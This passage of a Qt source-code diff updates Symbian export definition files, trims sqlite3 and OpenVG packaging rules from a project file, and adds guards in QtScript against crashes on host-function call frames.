+ ?removeEntryFromRevertList@QDeclarativeState@@QAE_NPAVQObject@@ABVQString@@@Z @ 1881 NONAME ; bool QDeclarativeState::removeEntryFromRevertList(class QObject *, class QString const &)
+ ?d_func@QDeclarativeDebugServer@@AAEPAVQDeclarativeDebugServerPrivate@@XZ @ 1882 NONAME ; class QDeclarativeDebugServerPrivate * QDeclarativeDebugServer::d_func(void)
+ ?tr@QDeclarativeDebugServer@@SA?AVQString@@PBD0H@Z @ 1883 NONAME ; class QString QDeclarativeDebugServer::tr(char const *, char const *, int)
+ ?implicitWidth@QDeclarativeItemPrivate@@UBEMXZ @ 1884 NONAME ; float QDeclarativeItemPrivate::implicitWidth(void) const
+ ??_EQDeclarativeRefCount@@UAE@I@Z @ 1885 NONAME ; QDeclarativeRefCount::~QDeclarativeRefCount(unsigned int)
+ ??0QDeclarativeRefCount@@QAE@XZ @ 1886 NONAME ; QDeclarativeRefCount::QDeclarativeRefCount(void)
+ ??1QDeclarativeRefCount@@UAE@XZ @ 1887 NONAME ; QDeclarativeRefCount::~QDeclarativeRefCount(void)
+ ?addref@QDeclarativeRefCount@@QAEXXZ @ 1888 NONAME ; void QDeclarativeRefCount::addref(void)
+ ?release@QDeclarativeRefCount@@QAEXXZ @ 1889 NONAME ; void QDeclarativeRefCount::release(void)
diff --git a/src/s60installs/bwins/QtGuiu.def b/src/s60installs/bwins/QtGuiu.def
index 322d88b..9b4c0f7 100644
--- a/src/s60installs/bwins/QtGuiu.def
+++ b/src/s60installs/bwins/QtGuiu.def
@@ -13142,4 +13142,10 @@ EXPORTS
?viewportSize@QScrollPrepareEvent@@QBE?AVQSizeF@@XZ @ 13141 NONAME ; class QSizeF QScrollPrepareEvent::viewportSize(void) const
?staticMetaObject@QScroller@@2UQMetaObject@@B @ 13142 NONAME ; struct QMetaObject const QScroller::staticMetaObject
?staticMetaObject@QFlickGesture@@2UQMetaObject@@B @ 13143 NONAME ; struct QMetaObject const QFlickGesture::staticMetaObject
-
+ ?isDragEnabled@QTextControl@@QBE_NXZ @ 13144 NONAME ; bool QTextControl::isDragEnabled(void) const
+ ?setWordSelectionEnabled@QTextControl@@QAEX_N@Z @ 13145 NONAME ; void QTextControl::setWordSelectionEnabled(bool)
+ ?setDragEnabled@QTextControl@@QAEX_N@Z @ 13146 NONAME ; void QTextControl::setDragEnabled(bool)
+ ?isWordSelectionEnabled@QTextControl@@QBE_NXZ @ 13147 NONAME ; bool QTextControl::isWordSelectionEnabled(void) const
+ ?ProcessCommandParametersL@QS60MainAppUi@@UAEHW4TApaCommand@@AAV?$TBuf@$0BAA@@@ABVTDesC8@@@Z @ 13148 NONAME ; int QS60MainAppUi::ProcessCommandParametersL(enum TApaCommand, class TBuf<256> &, class TDesC8 const &)
+ ?openFile@QFileOpenEvent@@QBE_NAAVQFile@@V?$QFlags@W4OpenModeFlag@QIODevice@@@@@Z @ 13149 NONAME ; bool QFileOpenEvent::openFile(class QFile &, class QFlags<enum QIODevice::OpenModeFlag>) const
+ ??0QFileOpenEvent@@QAE@ABVRFile@@@Z @ 13150 NONAME ; QFileOpenEvent::QFileOpenEvent(class RFile const &)
diff --git a/src/s60installs/bwins/QtScriptu.def b/src/s60installs/bwins/QtScriptu.def
index 9d998ca..02a0819 100644
--- a/src/s60installs/bwins/QtScriptu.def
+++ b/src/s60installs/bwins/QtScriptu.def
@@ -403,4 +403,6 @@ EXPORTS
??0Value@QScriptDeclarativeClass@@QAE@PAVQScriptContext@@H@Z @ 402 NONAME ; QScriptDeclarativeClass::Value::Value(class QScriptContext *, int)
??0PersistentIdentifier@QScriptDeclarativeClass@@AAE@PAVQScriptEnginePrivate@@@Z @ 403 NONAME ; QScriptDeclarativeClass::PersistentIdentifier::PersistentIdentifier(class QScriptEnginePrivate *)
?compare@QScriptDeclarativeClass@@UAE_NPAUObject@1@0@Z @ 404 NONAME ; bool QScriptDeclarativeClass::compare(struct QScriptDeclarativeClass::Object *, struct QScriptDeclarativeClass::Object *)
+ ?toString@PersistentIdentifier@QScriptDeclarativeClass@@QBE?AVQString@@XZ @ 405 NONAME ; class QString QScriptDeclarativeClass::PersistentIdentifier::toString(void) const
+ ?startsWithUpper@QScriptDeclarativeClass@@QAE_NABQAX@Z @ 406 NONAME ; bool QScriptDeclarativeClass::startsWithUpper(void * const const &)
diff --git a/src/s60installs/eabi/QtCoreu.def b/src/s60installs/eabi/QtCoreu.def
index 0488d0c..207447f 100644
--- a/src/s60installs/eabi/QtCoreu.def
+++ b/src/s60installs/eabi/QtCoreu.def
@@ -3804,4 +3804,6 @@ EXPORTS
_ZN23QCoreApplicationPrivate18symbianCommandLineEv @ 3803 NONAME
_ZNK16QXmlStreamWriter8hasErrorEv @ 3804 NONAME
_ZNK13QElapsedTimer12nsecsElapsedEv @ 3805 NONAME
+ _ZNK11QMetaMethod8revisionEv @ 3806 NONAME
+ _ZNK13QMetaProperty8revisionEv @ 3807 NONAME
diff --git a/src/s60installs/eabi/QtDeclarativeu.def b/src/s60installs/eabi/QtDeclarativeu.def
index b0efab4..95180d4 100644
--- a/src/s60installs/eabi/QtDeclarativeu.def
+++ b/src/s60installs/eabi/QtDeclarativeu.def
@@ -19,24 +19,24 @@ EXPORTS
_ZN15QPacketAutoSendD0Ev @ 18 NONAME ABSENT
_ZN15QPacketAutoSendD1Ev @ 19 NONAME ABSENT
_ZN15QPacketAutoSendD2Ev @ 20 NONAME ABSENT
- _ZN15QPacketProtocol11qt_metacallEN11QMetaObject4CallEiPPv @ 21 NONAME ABSENT
- _ZN15QPacketProtocol11qt_metacastEPKc @ 22 NONAME ABSENT
- _ZN15QPacketProtocol13invalidPacketEv @ 23 NONAME ABSENT
- _ZN15QPacketProtocol13packetWrittenEv @ 24 NONAME ABSENT
- _ZN15QPacketProtocol16staticMetaObjectE @ 25 NONAME DATA 16 ABSENT
- _ZN15QPacketProtocol19getStaticMetaObjectEv @ 26 NONAME ABSENT
- _ZN15QPacketProtocol20setMaximumPacketSizeEi @ 27 NONAME ABSENT
- _ZN15QPacketProtocol4readEv @ 28 NONAME ABSENT
- _ZN15QPacketProtocol4sendERK7QPacket @ 29 NONAME ABSENT
- _ZN15QPacketProtocol4sendEv @ 30 NONAME ABSENT
- _ZN15QPacketProtocol5clearEv @ 31 NONAME ABSENT
- _ZN15QPacketProtocol6deviceEv @ 32 NONAME ABSENT
- _ZN15QPacketProtocol9readyReadEv @ 33 NONAME ABSENT
- _ZN15QPacketProtocolC1EP9QIODeviceP7QObject @ 34 NONAME ABSENT
- _ZN15QPacketProtocolC2EP9QIODeviceP7QObject @ 35 NONAME ABSENT
- _ZN15QPacketProtocolD0Ev @ 36 NONAME ABSENT
- _ZN15QPacketProtocolD1Ev @ 37 NONAME ABSENT
- _ZN15QPacketProtocolD2Ev @ 38 NONAME ABSENT
+ _ZN15QPacketProtocol11qt_metacallEN11QMetaObject4CallEiPPv @ 21 NONAME
+ _ZN15QPacketProtocol11qt_metacastEPKc @ 22 NONAME
+ _ZN15QPacketProtocol13invalidPacketEv @ 23 NONAME
+ _ZN15QPacketProtocol13packetWrittenEv @ 24 NONAME
+ _ZN15QPacketProtocol16staticMetaObjectE @ 25 NONAME DATA 16
+ _ZN15QPacketProtocol19getStaticMetaObjectEv @ 26 NONAME
+ _ZN15QPacketProtocol20setMaximumPacketSizeEi @ 27 NONAME
+ _ZN15QPacketProtocol4readEv @ 28 NONAME
+ _ZN15QPacketProtocol4sendERK7QPacket @ 29 NONAME
+ _ZN15QPacketProtocol4sendEv @ 30 NONAME
+ _ZN15QPacketProtocol5clearEv @ 31 NONAME
+ _ZN15QPacketProtocol6deviceEv @ 32 NONAME
+ _ZN15QPacketProtocol9readyReadEv @ 33 NONAME
+ _ZN15QPacketProtocolC1EP9QIODeviceP7QObject @ 34 NONAME
+ _ZN15QPacketProtocolC2EP9QIODeviceP7QObject @ 35 NONAME
+ _ZN15QPacketProtocolD0Ev @ 36 NONAME
+ _ZN15QPacketProtocolD1Ev @ 37 NONAME
+ _ZN15QPacketProtocolD2Ev @ 38 NONAME
_ZN16QDeclarativeInfoC1EP23QDeclarativeInfoPrivate @ 39 NONAME
_ZN16QDeclarativeInfoC1ERKS_ @ 40 NONAME
_ZN16QDeclarativeInfoC2EP23QDeclarativeInfoPrivate @ 41 NONAME
@@ -241,8 +241,8 @@ EXPORTS
_ZN18QDeclarativePixmap23connectDownloadProgressEP7QObjecti @ 240 NONAME
_ZN18QDeclarativePixmap4loadEP18QDeclarativeEngineRK4QUrl @ 241 NONAME
_ZN18QDeclarativePixmap4loadEP18QDeclarativeEngineRK4QUrlRK5QSize @ 242 NONAME
- _ZN18QDeclarativePixmap4loadEP18QDeclarativeEngineRK4QUrlRK5QSizeb @ 243 NONAME
- _ZN18QDeclarativePixmap4loadEP18QDeclarativeEngineRK4QUrlb @ 244 NONAME
+ _ZN18QDeclarativePixmap4loadEP18QDeclarativeEngineRK4QUrlRK5QSizeb @ 243 NONAME ABSENT
+ _ZN18QDeclarativePixmap4loadEP18QDeclarativeEngineRK4QUrlb @ 244 NONAME ABSENT
_ZN18QDeclarativePixmap5clearEP7QObject @ 245 NONAME
_ZN18QDeclarativePixmap5clearEv @ 246 NONAME
_ZN18QDeclarativePixmap9setPixmapERK7QPixmap @ 247 NONAME
@@ -1059,20 +1059,20 @@ EXPORTS
_ZN39QDeclarativeNetworkAccessManagerFactoryD0Ev @ 1058 NONAME
_ZN39QDeclarativeNetworkAccessManagerFactoryD1Ev @ 1059 NONAME
_ZN39QDeclarativeNetworkAccessManagerFactoryD2Ev @ 1060 NONAME
- _ZN7QPacket5clearEv @ 1061 NONAME ABSENT
- _ZN7QPacketC1ERK10QByteArray @ 1062 NONAME ABSENT
- _ZN7QPacketC1ERKS_ @ 1063 NONAME ABSENT
- _ZN7QPacketC1Ev @ 1064 NONAME ABSENT
- _ZN7QPacketC2ERK10QByteArray @ 1065 NONAME ABSENT
- _ZN7QPacketC2ERKS_ @ 1066 NONAME ABSENT
- _ZN7QPacketC2Ev @ 1067 NONAME ABSENT
- _ZN7QPacketD0Ev @ 1068 NONAME ABSENT
- _ZN7QPacketD1Ev @ 1069 NONAME ABSENT
- _ZN7QPacketD2Ev @ 1070 NONAME ABSENT
+ _ZN7QPacket5clearEv @ 1061 NONAME
+ _ZN7QPacketC1ERK10QByteArray @ 1062 NONAME
+ _ZN7QPacketC1ERKS_ @ 1063 NONAME
+ _ZN7QPacketC1Ev @ 1064 NONAME
+ _ZN7QPacketC2ERK10QByteArray @ 1065 NONAME
+ _ZN7QPacketC2ERKS_ @ 1066 NONAME
+ _ZN7QPacketC2Ev @ 1067 NONAME
+ _ZN7QPacketD0Ev @ 1068 NONAME
+ _ZN7QPacketD1Ev @ 1069 NONAME
+ _ZN7QPacketD2Ev @ 1070 NONAME
_ZNK15QDeclarativePen10metaObjectEv @ 1071 NONAME ABSENT
- _ZNK15QPacketProtocol10metaObjectEv @ 1072 NONAME ABSENT
- _ZNK15QPacketProtocol16packetsAvailableEv @ 1073 NONAME ABSENT
- _ZNK15QPacketProtocol17maximumPacketSizeEv @ 1074 NONAME ABSENT
+ _ZNK15QPacketProtocol10metaObjectEv @ 1072 NONAME
+ _ZNK15QPacketProtocol16packetsAvailableEv @ 1073 NONAME
+ _ZNK15QPacketProtocol17maximumPacketSizeEv @ 1074 NONAME
_ZNK16QDeclarativeItem10metaObjectEv @ 1075 NONAME
_ZNK16QDeclarativeItem10parentItemEv @ 1076 NONAME
_ZNK16QDeclarativeItem10widthValidEv @ 1077 NONAME
@@ -1524,10 +1524,10 @@ EXPORTS
_ZNK36QDeclarativeDomValueValueInterceptor6objectEv @ 1523 NONAME ABSENT
_ZNK38QDeclarativeDebugObjectExpressionWatch10expressionEv @ 1524 NONAME ABSENT
_ZNK38QDeclarativeDebugObjectExpressionWatch10metaObjectEv @ 1525 NONAME ABSENT
- _ZNK7QPacket7isEmptyEv @ 1526 NONAME ABSENT
+ _ZNK7QPacket7isEmptyEv @ 1526 NONAME
_ZTI15QDeclarativePen @ 1527 NONAME ABSENT
_ZTI15QPacketAutoSend @ 1528 NONAME ABSENT
- _ZTI15QPacketProtocol @ 1529 NONAME ABSENT
+ _ZTI15QPacketProtocol @ 1529 NONAME
_ZTI16QDeclarativeItem @ 1530 NONAME
_ZTI16QDeclarativeText @ 1531 NONAME ABSENT
_ZTI16QDeclarativeView @ 1532 NONAME
@@ -1574,10 +1574,10 @@ EXPORTS
_ZTI36QDeclarativePropertyValueInterceptor @ 1573 NONAME
_ZTI38QDeclarativeDebugObjectExpressionWatch @ 1574 NONAME ABSENT
_ZTI39QDeclarativeNetworkAccessManagerFactory @ 1575 NONAME
- _ZTI7QPacket @ 1576 NONAME ABSENT
+ _ZTI7QPacket @ 1576 NONAME
_ZTV15QDeclarativePen @ 1577 NONAME ABSENT
_ZTV15QPacketAutoSend @ 1578 NONAME ABSENT
- _ZTV15QPacketProtocol @ 1579 NONAME ABSENT
+ _ZTV15QPacketProtocol @ 1579 NONAME
_ZTV16QDeclarativeItem @ 1580 NONAME
_ZTV16QDeclarativeText @ 1581 NONAME ABSENT
_ZTV16QDeclarativeView @ 1582 NONAME
@@ -1623,7 +1623,7 @@ EXPORTS
_ZTV36QDeclarativePropertyValueInterceptor @ 1622 NONAME
_ZTV38QDeclarativeDebugObjectExpressionWatch @ 1623 NONAME ABSENT
_ZTV39QDeclarativeNetworkAccessManagerFactory @ 1624 NONAME
- _ZTV7QPacket @ 1625 NONAME ABSENT
+ _ZTV7QPacket @ 1625 NONAME
_ZThn16_N16QDeclarativeItem10classBeginEv @ 1626 NONAME
_ZThn16_N16QDeclarativeItem17componentCompleteEv @ 1627 NONAME
_ZThn16_N16QDeclarativeItemD0Ev @ 1628 NONAME
@@ -1677,9 +1677,9 @@ EXPORTS
_ZN23QDeclarativeEngineDebug10newObjectsEv @ 1676 NONAME ABSENT
_ZN17QDeclarativeState20addEntryToRevertListERK18QDeclarativeAction @ 1677 NONAME
_ZN17QDeclarativeState22addEntriesToRevertListERK5QListI18QDeclarativeActionE @ 1678 NONAME
- _ZN17QDeclarativeState23changeValueInRevertListEP7QObjectRK10QByteArrayRK8QVariant @ 1679 NONAME
- _ZN17QDeclarativeState25changeBindingInRevertListEP7QObjectRK10QByteArrayP27QDeclarativeAbstractBinding @ 1680 NONAME
- _ZN17QDeclarativeState25removeEntryFromRevertListEP7QObjectRK10QByteArray @ 1681 NONAME
+ _ZN17QDeclarativeState23changeValueInRevertListEP7QObjectRK10QByteArrayRK8QVariant @ 1679 NONAME ABSENT
+ _ZN17QDeclarativeState25changeBindingInRevertListEP7QObjectRK10QByteArrayP27QDeclarativeAbstractBinding @ 1680 NONAME ABSENT
+ _ZN17QDeclarativeState25removeEntryFromRevertListEP7QObjectRK10QByteArray @ 1681 NONAME ABSENT
_ZN17QDeclarativeState30removeAllEntriesFromRevertListEP7QObject @ 1682 NONAME
_ZN23QDeclarativeItemPrivate10data_clearEP24QDeclarativeListPropertyI7QObjectE @ 1683 NONAME
_ZN23QDeclarativeItemPrivate10data_countEP24QDeclarativeListPropertyI7QObjectE @ 1684 NONAME
@@ -1706,9 +1706,9 @@ EXPORTS
_ZN27QDeclarativePropertyChangesD1Ev @ 1705 NONAME ABSENT
_ZN27QDeclarativePropertyChangesD2Ev @ 1706 NONAME ABSENT
_ZNK17QDeclarativeState13isStateActiveEv @ 1707 NONAME
- _ZNK17QDeclarativeState17valueInRevertListEP7QObjectRK10QByteArray @ 1708 NONAME
- _ZNK17QDeclarativeState19bindingInRevertListEP7QObjectRK10QByteArray @ 1709 NONAME
- _ZNK17QDeclarativeState28containsPropertyInRevertListEP7QObjectRK10QByteArray @ 1710 NONAME
+ _ZNK17QDeclarativeState17valueInRevertListEP7QObjectRK10QByteArray @ 1708 NONAME ABSENT
+ _ZNK17QDeclarativeState19bindingInRevertListEP7QObjectRK10QByteArray @ 1709 NONAME ABSENT
+ _ZNK17QDeclarativeState28containsPropertyInRevertListEP7QObjectRK10QByteArray @ 1710 NONAME ABSENT
_ZNK26QDeclarativeStateOperation5stateEv @ 1711 NONAME
_ZNK27QDeclarativePropertyChanges10expressionERK10QByteArray @ 1712 NONAME ABSENT
_ZNK27QDeclarativePropertyChanges10isExplicitEv @ 1713 NONAME ABSENT
@@ -1885,4 +1885,49 @@ EXPORTS
_ZThn8_N29QDeclarativeAbstractAnimationD1Ev @ 1884 NONAME ABSENT
_ZN23QDeclarativeDebugHelper15enableDebuggingEv @ 1885 NONAME
_ZN27QDeclarativePropertyPrivate7connectEPK7QObjectiS2_iiPi @ 1886 NONAME ABSENT
+ _ZN16QDeclarativeItem20implicitWidthChangedEv @ 1887 NONAME
+ _ZN16QDeclarativeItem21implicitHeightChangedEv @ 1888 NONAME
+ _ZN17QDeclarativeState23changeValueInRevertListEP7QObjectRK7QStringRK8QVariant @ 1889 NONAME
+ _ZN17QDeclarativeState25changeBindingInRevertListEP7QObjectRK7QStringP27QDeclarativeAbstractBinding @ 1890 NONAME
+ _ZN17QDeclarativeState25removeEntryFromRevertListEP7QObjectRK7QString @ 1891 NONAME
+ _ZN18QDeclarativePixmap4loadEP18QDeclarativeEngineRK4QUrl6QFlagsINS_6OptionEE @ 1892 NONAME
+ _ZN18QDeclarativePixmap4loadEP18QDeclarativeEngineRK4QUrlRK5QSize6QFlagsINS_6OptionEE @ 1893 NONAME
+ _ZN21QDeclarativeComponent12createObjectEP7QObjectRK12QScriptValue @ 1894 NONAME
+ _ZN22QDeclarativeExpressionC1EP23QDeclarativeContextDataP7QObjectRK12QScriptValueR29QDeclarativeExpressionPrivate @ 1895 NONAME
+ _ZN22QDeclarativeExpressionC2EP23QDeclarativeContextDataP7QObjectRK12QScriptValueR29QDeclarativeExpressionPrivate @ 1896 NONAME
+ _ZN23QDeclarativeDebugServer10addServiceEP24QDeclarativeDebugService @ 1897 NONAME
+ _ZN23QDeclarativeDebugServer11qt_metacallEN11QMetaObject4CallEiPPv @ 1898 NONAME
+ _ZN23QDeclarativeDebugServer11qt_metacastEPKc @ 1899 NONAME
+ _ZN23QDeclarativeDebugServer11sendMessageEP24QDeclarativeDebugServiceRK10QByteArray @ 1900 NONAME
+ _ZN23QDeclarativeDebugServer13removeServiceEP24QDeclarativeDebugService @ 1901 NONAME
+ _ZN23QDeclarativeDebugServer14receiveMessageERK10QByteArray @ 1902 NONAME
+ _ZN23QDeclarativeDebugServer16staticMetaObjectE @ 1903 NONAME DATA 16
+ _ZN23QDeclarativeDebugServer19getStaticMetaObjectEv @ 1904 NONAME
+ _ZN23QDeclarativeDebugServer8instanceEv @ 1905 NONAME
+ _ZN23QDeclarativeDebugServerC1Ev @ 1906 NONAME
+ _ZN23QDeclarativeDebugServerC2Ev @ 1907 NONAME
+ _ZN23QDeclarativeItemPrivate20implicitWidthChangedEv @ 1908 NONAME
+ _ZN23QDeclarativeItemPrivate21implicitHeightChangedEv @ 1909 NONAME
+ _ZN24QDeclarativeCustomParser14rewriteBindingERK7QStringRK10QByteArray @ 1910 NONAME
+ _ZNK17QDeclarativeState17valueInRevertListEP7QObjectRK7QString @ 1911 NONAME
+ _ZNK17QDeclarativeState19bindingInRevertListEP7QObjectRK7QString @ 1912 NONAME
+ _ZNK17QDeclarativeState28containsPropertyInRevertListEP7QObjectRK7QString @ 1913 NONAME
+ _ZNK23QDeclarativeDebugServer10metaObjectEv @ 1914 NONAME
+ _ZNK23QDeclarativeDebugServer12serviceNamesEv @ 1915 NONAME
+ _ZNK23QDeclarativeDebugServer18hasDebuggingClientEv @ 1916 NONAME
+ _ZNK23QDeclarativeDebugServer8servicesEv @ 1917 NONAME
+ _ZNK23QDeclarativeItemPrivate13implicitWidthEv @ 1918 NONAME
+ _ZNK23QDeclarativeItemPrivate14implicitHeightEv @ 1919 NONAME
+ _ZNK7QPacket4dataEv @ 1920 NONAME
+ _ZTI23QDeclarativeDebugServer @ 1921 NONAME
+ _ZTV23QDeclarativeDebugServer @ 1922 NONAME
+ _ZN20QDeclarativeRefCount6addrefEv @ 1923 NONAME
+ _ZN20QDeclarativeRefCount7releaseEv @ 1924 NONAME
+ _ZN20QDeclarativeRefCountC1Ev @ 1925 NONAME
+ _ZN20QDeclarativeRefCountC2Ev @ 1926 NONAME
+ _ZN20QDeclarativeRefCountD0Ev @ 1927 NONAME
+ _ZN20QDeclarativeRefCountD1Ev @ 1928 NONAME
+ _ZN20QDeclarativeRefCountD2Ev @ 1929 NONAME
+ _ZTI20QDeclarativeRefCount @ 1930 NONAME
+ _ZTV20QDeclarativeRefCount @ 1931 NONAME
diff --git a/src/s60installs/eabi/QtGuiu.def b/src/s60installs/eabi/QtGuiu.def
index 8064fa3..722dee8 100644
--- a/src/s60installs/eabi/QtGuiu.def
+++ b/src/s60installs/eabi/QtGuiu.def
@@ -12227,10 +12227,10 @@ EXPORTS
_ZTV19QBlitterPaintEngine @ 12226 NONAME
_ZTV20QBlittablePixmapData @ 12227 NONAME
_Zls6QDebugPK13QSymbianEvent @ 12228 NONAME
- _ZN13QS60MainAppUi25ProcessCommandParametersLE11TApaCommandR4TBufILi256EERK6TDesC8 @ 12229 NONAME ABSENT
- _ZN14QFileOpenEventC1ERK5RFile @ 12230 NONAME ABSENT
- _ZN14QFileOpenEventC2ERK5RFile @ 12231 NONAME ABSENT
- _ZNK14QFileOpenEvent8openFileER5QFile6QFlagsIN9QIODevice12OpenModeFlagEE @ 12232 NONAME ABSENT
+ _ZN13QS60MainAppUi25ProcessCommandParametersLE11TApaCommandR4TBufILi256EERK6TDesC8 @ 12229 NONAME
+ _ZN14QFileOpenEventC1ERK5RFile @ 12230 NONAME
+ _ZN14QFileOpenEventC2ERK5RFile @ 12231 NONAME
+ _ZNK14QFileOpenEvent8openFileER5QFile6QFlagsIN9QIODevice12OpenModeFlagEE @ 12232 NONAME
_ZN11QFontEngine16alphaMapForGlyphEj6QFixed @ 12233 NONAME
_ZN11QFontEngine16alphaMapForGlyphEj6QFixedRK10QTransform @ 12234 NONAME
_Z32qGamma_correct_back_to_linear_csP6QImage @ 12235 NONAME
@@ -12333,4 +12333,8 @@ EXPORTS
_ZTV19QScrollPrepareEvent @ 12332 NONAME
_ZTV19QScrollerProperties @ 12333 NONAME
_ZTV9QScroller @ 12334 NONAME
+ _ZN12QTextControl14setDragEnabledEb @ 12335 NONAME
+ _ZN12QTextControl23setWordSelectionEnabledEb @ 12336 NONAME
+ _ZNK12QTextControl13isDragEnabledEv @ 12337 NONAME
+ _ZNK12QTextControl22isWordSelectionEnabledEv @ 12338 NONAME
diff --git a/src/s60installs/eabi/QtScriptu.def b/src/s60installs/eabi/QtScriptu.def
index b26f9c7..f7da892 100644
--- a/src/s60installs/eabi/QtScriptu.def
+++ b/src/s60installs/eabi/QtScriptu.def
@@ -441,4 +441,6 @@ EXPORTS
_ZN25QScriptEngineAgentPrivate18didReachBreakpointERKN5QTJSC17DebuggerCallFrameEii @ 440 NONAME
_ZNK23QScriptDeclarativeClass12supportsCallEv @ 441 NONAME
_ZNK23QScriptDeclarativeClass5Value13toScriptValueEP13QScriptEngine @ 442 NONAME
+ _ZN23QScriptDeclarativeClass15startsWithUpperERKPv @ 443 NONAME
+ _ZNK23QScriptDeclarativeClass20PersistentIdentifier8toStringEv @ 444 NONAME
diff --git a/src/s60installs/s60installs.pro b/src/s60installs/s60installs.pro
index cd3102e..1c91422 100644
--- a/src/s60installs/s60installs.pro
+++ b/src/s60installs/s60installs.pro
@@ -11,23 +11,6 @@ symbian: {
isEmpty(QT_LIBINFIX) {
TARGET.UID3 = 0x2001E61C
-
- # Sqlite3 is expected to be already found on phone if infixed configuration is built.
- # It is also expected that devices newer than those based on S60 5.0 all have sqlite3.dll.
- contains(S60_VERSION, 3.1)|contains(S60_VERSION, 3.2)|contains(S60_VERSION, 5.0) {
- BLD_INF_RULES.prj_exports += \
- "sqlite3.sis /epoc32/data/qt/sis/sqlite3.sis"
- symbian-abld|symbian-sbsv2 {
- sqlitedeployment = \
- "; Deploy sqlite onto phone that does not have it already" \
- "@\"$${EPOCROOT}epoc32/data/qt/sis/sqlite3.sis\", (0x2002af5f)"
- } else {
- sqlitedeployment = \
- "; Deploy sqlite onto phone that does not have it already" \
- "@\"$${PWD}/sqlite3.sis\", (0x2002af5f)"
- }
- qtlibraries.pkg_postrules += sqlitedeployment
- }
} else {
# Always use experimental UID for infixed configuration to avoid UID clash
TARGET.UID3 = 0xE001E61C
@@ -92,7 +75,7 @@ symbian: {
vendorinfo = \
"; Localised Vendor name" \
- "%{\"Nokia, Qt\"}" \
+ "%{\"Nokia\"}" \
" " \
"; Unique Vendor name" \
":\"Nokia, Qt\"" \
@@ -183,10 +166,6 @@ symbian: {
contains(QT_CONFIG, openvg) {
qtlibraries.files += $$QMAKE_LIBDIR_QT/QtOpenVG$${QT_LIBINFIX}.dll
graphicssystems_plugins.files += $$QT_BUILD_TREE/plugins/graphicssystems/qvggraphicssystem$${QT_LIBINFIX}.dll
- # OpenVG requires Symbian^3 or later
- pkg_platform_dependencies = \
- "[0x20022E6D],0,0,0,{\"S60ProductID\"}" \
- "[0x20032DE7],0,0,0,{\"S60ProductID\"}"
}
contains(QT_CONFIG, opengl) {
diff --git a/src/script/api/qscriptcontext.cpp b/src/script/api/qscriptcontext.cpp
index 59ea52d..2468a46 100644
--- a/src/script/api/qscriptcontext.cpp
+++ b/src/script/api/qscriptcontext.cpp
@@ -299,6 +299,12 @@ QScriptValue QScriptContext::argumentsObject() const
//for a js function
if (frame->codeBlock() && frame->callee()) {
+ if (!QScriptEnginePrivate::hasValidCodeBlockRegister(frame)) {
+ // We have a built-in JS host call.
+ // codeBlock is needed by retrieveArguments(), but since it
+ // contains junk, we would crash. Return an invalid value for now.
+ return QScriptValue();
+ }
JSC::JSValue result = frame->interpreter()->retrieveArguments(frame, JSC::asFunction(frame->callee()));
return QScript::scriptEngineFromExec(frame)->scriptValueFromJSCValue(result);
}
@@ -309,7 +315,8 @@ QScriptValue QScriptContext::argumentsObject() const
}
//for a native function
- if (!frame->optionalCalleeArguments()) {
+ if (!frame->optionalCalleeArguments()
+ && QScriptEnginePrivate::hasValidCodeBlockRegister(frame)) { // Make sure we don't go here for host JSFunctions
Q_ASSERT(frame->argumentCount() > 0); //we need at least 'this' otherwise we'll crash later
JSC::Arguments* arguments = new (&frame->globalData())JSC::Arguments(frame, JSC::Arguments::NoParameters);
frame->setCalleeArguments(arguments);
diff --git a/src/script/api/qscriptcontextinfo.cpp b/src/script/api/qscriptcontextinfo.cpp
index db6b2d7..0f9de1d 100644
--- a/src/script/api/qscriptcontextinfo.cpp
+++ b/src/script/api/qscriptcontextinfo.cpp
@@ -157,7 +157,7 @@ QScriptContextInfoPrivate::QScriptContextInfoPrivate(const QScriptContext *conte
JSC::Instruction *returnPC = rewindContext->returnPC();
JSC::CodeBlock *codeBlock = frame->codeBlock();
- if (returnPC && codeBlock) {
+ if (returnPC && codeBlock && QScriptEnginePrivate::hasValidCodeBlockRegister(frame)) {
#if ENABLE(JIT)
unsigned bytecodeOffset = codeBlock->getBytecodeIndex(frame, JSC::ReturnAddressPtr(returnPC));
#else
@@ -171,7 +171,7 @@ QScriptContextInfoPrivate::QScriptContextInfoPrivate(const QScriptContext *conte
// Get the filename and the scriptId:
JSC::CodeBlock *codeBlock = frame->codeBlock();
- if (codeBlock) {
+ if (codeBlock && QScriptEnginePrivate::hasValidCodeBlockRegister(frame)) {
JSC::SourceProvider *source = codeBlock->source();
scriptId = source->asID();
fileName = source->url();
@@ -181,7 +181,8 @@ QScriptContextInfoPrivate::QScriptContextInfoPrivate(const QScriptContext *conte
JSC::JSObject *callee = frame->callee();
if (callee && callee->inherits(&JSC::InternalFunction::info))
functionName = JSC::asInternalFunction(callee)->name(frame);
- if (callee && callee->inherits(&JSC::JSFunction::info)) {
+ if (callee && callee->inherits(&JSC::JSFunction::info)
+ && !JSC::asFunction(callee)->isHostFunction()) {
functionType = QScriptContextInfo::ScriptFunction;
JSC::FunctionExecutable *body = JSC::asFunction(callee)->jsExecutable();
functionStartLineNumber = body->lineNo();
diff --git a/src/script/api/qscriptengine.cpp b/src/script/api/qscriptengine.cpp
index 004e3a5..14ab2eb 100644
--- a/src/script/api/qscriptengine.cpp
+++ b/src/script/api/qscriptengine.cpp
@@ -858,7 +858,8 @@ JSC::JSValue JSC_HOST_CALL functionQsTr(JSC::ExecState *exec, JSC::JSObject*, JS
{
JSC::ExecState *frame = exec->callerFrame()->removeHostCallFrameFlag();
while (frame) {
- if (frame->codeBlock() && frame->codeBlock()->source()
+ if (frame->codeBlock() && QScriptEnginePrivate::hasValidCodeBlockRegister(frame)
+ && frame->codeBlock()->source()
&& !frame->codeBlock()->source()->url().isEmpty()) {
context = engine->translationContextFromUrl(frame->codeBlock()->source()->url());
break;
@@ -1022,6 +1023,7 @@ QScriptEnginePrivate::~QScriptEnginePrivate()
while (!ownedAgents.isEmpty())
delete ownedAgents.takeFirst();
+ detachAllRegisteredScriptPrograms();
detachAllRegisteredScriptValues();
detachAllRegisteredScriptStrings();
qDeleteAll(m_qobjectData);
@@ -1576,6 +1578,14 @@ bool QScriptEnginePrivate::scriptDisconnect(JSC::JSValue signal, JSC::JSValue re
#endif
+void QScriptEnginePrivate::detachAllRegisteredScriptPrograms()
+{
+ QSet<QScriptProgramPrivate*>::const_iterator it;
+ for (it = registeredScriptPrograms.constBegin(); it != registeredScriptPrograms.constEnd(); ++it)
+ (*it)->detachFromEngine();
+ registeredScriptPrograms.clear();
+}
+
void QScriptEnginePrivate::detachAllRegisteredScriptValues()
{
QScriptValuePrivate *it;
@@ -2078,10 +2088,10 @@ QScriptValue QScriptEngine::newFunction(QScriptEngine::FunctionSignature fun,
